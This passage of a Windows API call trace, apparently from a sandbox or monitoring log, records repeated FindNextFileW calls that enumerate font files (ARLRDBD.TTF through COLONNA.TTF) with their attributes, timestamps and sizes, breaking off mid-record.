FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb0cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARLRDBD.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASKVILL.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAUHS93.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELL.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14294, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELLB.TTF", cAlternateFileName="")) returned 1 [0284.309] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86d24d65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14110, dwReserved0=0x0, dwReserved1=0x0, cFileName="BELLI.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BERNHC.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="BKANT.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x122c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_B.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BI.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14768, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BLAI.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_BLAR.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1216c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CB.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CBI.TTF", cAlternateFileName="")) returned 1 [0284.310] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86f3ae6b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CI.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_CR.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_I.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89c3a0a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x165c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_PSTC.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f14c12, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f14c12, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOD_R.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8875ec88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x274ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOS.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25bd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSB.TTF", cAlternateFileName="")) returned 1 [0284.311] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a29e47, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a29e47, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86e09b78, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSBI.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x883a5225, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x274fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOKOSI.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRADHITC.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRITANIC.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87feb6a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17a70, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSB.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87a8e187, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSDB.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17c04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRLNSR.TTF", cAlternateFileName="")) returned 1 [0284.312] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xebd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROADW.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87910bb6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRUSHSCI.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSSYM7.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb91b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalibriL.ttf", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd4070, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalibriLI.ttf", cAlternateFileName="CALIBR~1.TTF")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13aec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFB.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x181bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFI.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIFR.TTF", cAlternateFileName="")) returned 1 [0284.313] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86eee9a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86eee9a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x89ddda54, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13914, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALIST.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f3ae6b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f3ae6b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTB.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14be0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTBI.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALISTI.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASTELAR.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27a4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENSCBK.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14348, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTAUR.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28580, dwReserved0=0x0, dwReserved1=0x0, cFileName="CENTURY.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x87805b03, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x178c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHILLER.TTF", cAlternateFileName="")) returned 1 [0284.314] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd6a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="COLONNA.TTF", cAlternateFileName="")) returned 1 [0284.315] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f610cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86f610cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8763be45, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, 